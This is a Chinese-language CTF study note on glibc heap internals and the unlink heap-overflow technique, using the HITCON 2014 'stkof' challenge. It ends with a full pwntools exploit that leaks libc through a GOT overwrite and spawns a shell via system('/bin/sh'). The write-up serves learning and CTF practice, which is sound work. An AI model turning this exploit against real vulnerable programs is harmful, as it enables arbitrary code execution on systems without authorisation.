最近认真学习了下linux下堆的管理及堆溢出利用,做下笔记;作者作为初学者,如果有什么写的不对的地方而您又碰巧看到,欢迎指正。
本文用到的例子下载链接https://github.com/ctfs/write-ups-2014/tree/master/hitcon-ctf-2014/stkof
首先总结一下linux下堆的分配管理。堆的基本结构见上一篇文章,这里不再赘述。
1.堆区是在进程加载时的一片区域,mmap方式分配的堆结构体中的fd,bk指针指向的区域并不是随机分配的,而是由fd,bk等指针连接的相邻的、连续的内存区
2.为了支持多线程,堆的分配有arena机制(详见https://ctf-wiki.github.io/ctf-wiki/pwn/heap/heap_structure/#arena),简单来说该机制就是在第一次申请内存时分配的一个比申请内存大很多的一片内存区域,目的是减少内存申请释放时unlink的次数。
3.用户释放的chunk不会马上返还给系统,glibc的bin会管理释放的chunk,包含四类fast bins,small bins,large bins,unsorted bin。每一类的设计都包含优化减少unlink次数的思想,比如fast bin管理策略是LIFO,堆块默认最大64 * SIZE_SZ / 4,释放时如果bin大小在fast bin范围内,则插入到fastbin头部(目的是减少堆块合并、分割的操作,试想如果直接释放较小堆块,如果释放的较小堆块与之物理相邻堆块是空闲堆块,则会发生合并;当再次申请释放堆块大小的堆时,则又需要重新分割较小的堆块)(释放时进行前向合并时会先检查释放堆大小是否是fastbin大小,如果是直接链入fastbin头部;非fastbin大小的堆在释放时前向合并,如果物理相邻高地址堆为top_chunk则合并到top_chunk)size_sz是机器字长
4.unlink宏源代码https://code.woboq.org/userspace/glibc/malloc/malloc.c.html1388行。free的过程涉及到新的chunk由allocated变为free,为了优化要进行合并操作,包括后向合并(合并低地址chunk)和前向合并(合并高地址chunk),unlink的过程是一个从双向链表删除节点的操作。
5.glibc中free过程的大致操作:
1>.释放堆块大小合法性检查(size>=min_size&&size<=max_size)
2>.当前堆的follow chunk合法且前向堆(next chunk)的pre_inuse flag=1(next_chunk->size&0x1==1)
3>.当前堆不能和freelist的头节点一致(double free),但是释放时仅检查freelist头节点并不遍历freelist,所以如果释放的chunk在freelist里(非头节点)还是会导致double free
4>.检查后向堆(低地址chunk)和前向堆(高地址chunk)是否空闲
5>.如果空闲则合并堆
6>.将释放的堆链入合适的freelist
下面分析一下这个有堆溢出的程序。
这个程序实现了一个堆内存分配释放的功能,并且分配的堆可以编辑内容,分配的堆块指针记录在一个全局静态存储区.bss。但由于编辑的时候没有检查编辑内容的长度,导致溢出。
下面以这个程序为例分析一下堆溢出unlink是如何导致任意内存写的,并分析一下如何利用。
使用IDA查看发现存储堆指针的内存区起始于0x602140,不妨把这个内存起始地址叫做chunk_list
如果我们alloc(0x30),alloc(0x30)两个堆,这个程序会把分配的地址写到chunk_list[1](即0X602148,chunk1)和chunk_list[2]的位置。由于编辑的时候没有检查长度,所以我们可以在chunk1写入大于chunk1分配大小的内容,由于chunk1和chunk2物理相邻(没有调用brk手动扩展堆),所以chunk1溢出的内容会覆盖到chunk2。所以我们精心设计一个chunk1的内容,使他的内存布局如下
即在chunk1中填充一个fake_chunk,使libc认为chunk2的prev_free_chunk是chunk1。fake_fd和fake_bk这么填充的原因是绕过双向链表的检测
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr ("corrupted double-linked list"); else { FD->bk = BK; BK->fd = FD;
unlink时首先检测双向链表完整性
FD=chunk1_ptr-3*size_sz => FD->bk=(chunk1_ptr-3*size_sz)+3*size_sz=chunk1_ptr
BK=chunk1_ptr-2*size_sz => BK->fd=(chunk1_ptr-2*size_sz)+2*size_sz=chunk1_ptr
即这样可以绕过上述双向链表的检测。
unlink删除双向链表节点过程中的原子操作
FD->bk=BK => chunk1_ptr=chunk1_ptr-2*size_sz <=FD->bk=chunk1_ptr
BK->fd=FD => chunk1_ptr=chunk1_ptr-3*size_sz <=BK->fd=chunk1_ptr
即chunk1_ptr最终被赋值chunk1_ptr-3*size_sz,所以此时保存chunk1指针的chunk_list[1]就会指向chunk1_ptr-3*size_sz。因为这个地址在bss段,这样我们就得到了一个可读可写段的可控地址^.^
这里可以达成一次任意地址写的本质是我们得到了
&(&chunk0_ptr)=&(&chunk0_ptr)-3*size_sz
则有
*(&(&chunk0_ptr))=*(&(&chunk0_ptr)-3*size_sz)
即两个指针指向的内容是一致的,而此时&chunk0_ptr我们是可以修改为任意值,以此达成一次任意地址写
此时,chunk_list[1][3*size_sz]就是chunk_list[1]指向的地址处偏移3*size_sz的内容,所以我们可以编辑chunk1的内容为padding(3*size_sz)+p64(free@got),即可通过读chunk_list地址处内容得到free@got,进而得到libc基址,进而计算得到system@got
另外一种利用思路是把rsp指向chunk_list,然后通过构造ROP获取shell(https://raw.githubusercontent.com/acama/ctf/master/hitcon2014/stkof/x.py)
unlink可以导致任意代码执行的原因是我们可以覆盖free@got为system@got,然后调用free即可执行system@got的内容
EXP如下,另一个堆溢出例子传送门
from pwn import *
context.log_level='DEBUG'
p=process('./patched-stkof')
elf=ELF('./patched-stkof')
libc=ELF('./libc.so.6')
def debug():
print p.pid
pause()
def new(sz):
p.sendline('1')
p.sendline(str(sz))
p.recvuntil('OK
')
def edit(idx,con):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(con)))
p.send(con)
p.recvuntil('OK
')
def free(idx):
p.sendline('3')
p.sendline(str(idx))
new(0x100) #1
new(0x30) #2
new(0x80) #3
new(0x80) #4
cklist=0x602140
cur_chk=cklist+0x10
size_sz=8
fake_chunk=p64(0)+p64(0x30)+p64(cur_chk-3*size_sz)+p64(cur_chk-2*size_sz)+'a'*0x10+p64(0x30)+p64(0x90)
edit(2,fake_chunk)
#debug()
free(3)
p.recvuntil('OK
')
#debug()
payload='a'*8+p64(elf.got['free'])+p64(elf.got['atoi'])+p64(elf.got['puts'])
edit(2,payload)
#debug()
#modify free@got to puts@got to leak
edit(0,p64(elf.plt['puts']))
#debug()
free(2)
puts=u64(p.recvuntil('
OK',drop=True).ljust(8,'x00'))
success("puts: "+hex(puts))
libc_base=puts-libc.sym['puts']
success("libc_base: "+hex(libc_base))
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh").next()
success("system: "+hex(system))
success("binsh: "+hex(binsh))
#debug()
edit(1,p64(system))
p.send(p64(binsh))
p.interactive()